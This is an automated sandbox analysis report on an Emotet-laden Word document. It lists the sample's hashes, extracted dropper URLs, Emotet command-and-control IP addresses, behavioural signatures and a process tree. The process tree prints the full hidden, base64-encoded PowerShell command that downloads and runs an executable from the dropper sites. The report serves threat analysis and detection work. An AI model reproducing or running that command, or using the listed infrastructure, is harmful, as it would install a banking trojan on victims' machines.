Analysis

  • max time kernel
    28s
  • resource
    win10v191014
  • submitted
    21-01-2020 19:59

General

  • Target

    4c5b70ce5e0c105f0e22164fb8889b602261d94c50fae8caff0ace7e780f7367

  • Sample

    200121-wsb6xgr2q6

  • SHA256

    4c5b70ce5e0c105f0e22164fb8889b602261d94c50fae8caff0ace7e780f7367

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://hawkeyesss.com/wp-content/r3d3hdjgnc-om4bkcvea-3543/

exe.dropper

http://lookings.in/blog/xGJncTpch/

exe.dropper

http://developer.md-partners.co.jp/UI/doCYRSxq/

exe.dropper

http://e-twow.es/wp-content/dJilYkPOF/

exe.dropper

http://bjenkins.webview.consulting/writer/3r09yemm-0uxjh-3049/

Extracted

Family

emotet

C2

81.214.253.80:443

98.15.140.226:80

180.33.71.88:80

178.33.167.120:8080

144.76.56.36:8080

176.58.93.123:80

51.38.134.203:8080

196.6.119.137:80

82.79.244.92:80

175.181.7.188:80

183.87.40.21:8080

201.183.251.100:80

91.73.169.210:80

188.251.213.180:443

110.142.161.90:80

177.144.130.105:443

106.248.79.174:80

70.45.30.28:80

187.72.47.161:443

185.244.167.25:443

rsa_pubkey.plain

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4c5b70ce5e0c105f0e22164fb8889b602261d94c50fae8caff0ace7e780f7367.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:4972
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABVAG0AYQBwAGYAaQBjAHMAegB4AGUAaQA9ACcARQB4AHQAegBlAHcAZgB3ACcAOwAkAE8AcQBtAGYAZQBwAHYAbABkAGoAIAA9ACAAJwA0ADkANwAnADsAJABIAGYAcwBxAGUAbAByAHIAdwB5AGgAbAA9ACcARABiAG4AbQBxAG0AZAB4ACcAOwAkAFAAYgB4AG8AcwB0AGwAZABnAG0AZAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATwBxAG0AZgBlAHAAdgBsAGQAagArACcALgBlAHgAZQAnADsAJABZAHMAZABlAGkAbQB4AHoAbAB4AD0AJwBLAGIAdQBtAG0AcQBsAGYAJwA7ACQAQgBuAGUAagBrAGIAZgBjAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABuAEUAdAAuAHcAZQBiAGMATABpAGUAbgB0ADsAJABFAHMAcgBzAGsAZQBwAG4AZgBmAHcAPQAnAGgAdAB0AHAAOgAvAC8AaABhAHcAawBlAHkAZQBzAHMAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHIAMwBkADMAaABkAGoAZwBuAGMALQBvAG0ANABiAGsAYwB2AGUAYQAtADMANQA0ADMALwAqAGgAdAB0AHAAOgAvAC8AbABvAG8AawBpAG4AZwBzAC4AaQBuAC8AYgBsAG8AZwAvAHgARwBKAG4AYwBUAHAAYwBoAC8AKgBoAHQAdABwADoALwAvAGQAZQB2AGUAbABvAHAAZQByAC4AbQBkAC0AcABhAHIAdABuAGUAcgBzAC4AYwBvAC4AagBwAC8AVQBJAC8AZABvAEMAWQBSAFMAeABxAC8AKgBoAHQAdABwADoALwAvAGUALQB0AHcAbwB3AC4AZQBzAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGQASgBpAGwAWQBrAFAATwBGAC8AKgBoAHQAdABwADoALwAvAGIAagBlAG4AawBpAG4AcwAuAHcAZQBiAHYAaQBlAHcALgBjAG8AbgBzAHUAbAB0AGkAbgBnAC8AdwByAGkAdABlAHIALwAzAHIAMAA5AHkAZQBtAG0ALQAwAHUAeABqAGgALQAzADAANAA5AC8AJwAuACIAUwBQAGAATABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABGAHkAYgB2AHMAagB3AGMAbgBrAD0AJwBTAG0AaABtAGkAagBhAGkAegAnADsAZgBvAHIAZQBhAGMAaAAoACQASQB4AGcAcgBhAGsAaQBiAGUAZABtAGoAaAAgAGkAbgAgACQARQBzAHIAcwBrAGUAcABuAGYAZgB3ACkAewB0AHIAeQB7ACQAQgBuAGUAagBrAGIAZgBjAC4AIgBkAE8AVwBuAGwAYABPAGAAQQBgAEQAZgBpAGwAZQAiACgAJABJAHgAZwByAGEAawBpAGIAZQBkAG0AagBoACwAIAAkAFAAYgB4AG8AcwB0AGwAZABnAG0AZAApADsAJABaAHEAbAByAGUAegBuAGwAPQAnAE0AbQBmAGQAbgB1AG8AYwBqAGoAbwAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAFAAYgB4AG8AcwB0AGwAZABnAG0AZAApAC4AIgBsAEUAbgBgAGcAdABoACIAIAAtAGcAZQAgADMAOQAyADQAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYABBAHIAVAAiACgAJABQAGIAeABvAHMAdABsAGQAZwBtAGQAKQA7ACQASQBlAHoAaABjAGYAbwBsAG8AdwA9ACcARwByAHMAYwBhAHoAawB0AGYAJwA7AGIAcgBlAGEAawA7ACQASgB2AG8AbQBmAHEAaABvAD0AJwBDAGoAegBhAGcAaQBvAHkAYgB5AGkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgB3AGsAaABqAHAAbwBqAGQAPQAnAFEAbABuAHQAagB2AGgAaAAnAA==
    1⤵
    • Suspicious use of WriteProcessMemory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:3648
    • C:\Users\Admin\497.exe
      "C:\Users\Admin\497.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:4680
      • C:\Users\Admin\497.exe
        --14180dd0
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Drops file in System32 directory
        • Suspicious behavior: EmotetMutantsSpam
        PID:3940
  • C:\Windows\SysWOW64\devicesspace.exe
    "C:\Windows\SysWOW64\devicesspace.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:3772
    • C:\Windows\SysWOW64\devicesspace.exe
      --379237bb
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EmotetMutantsSpam
      PID:4264

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3772-14-0x00000000007A0000-0x00000000007B7000-memory.dmp

    Filesize

    92KB

  • memory/3940-11-0x0000000000A30000-0x0000000000A47000-memory.dmp

    Filesize

    92KB

  • memory/3940-12-0x0000000000400000-0x00000000004E3000-memory.dmp

    Filesize

    908KB

  • memory/4264-16-0x0000000000EC0000-0x0000000000ED7000-memory.dmp

    Filesize

    92KB

  • memory/4264-17-0x0000000000400000-0x00000000004E3000-memory.dmp

    Filesize

    908KB

  • memory/4680-9-0x0000000002340000-0x0000000002357000-memory.dmp

    Filesize

    92KB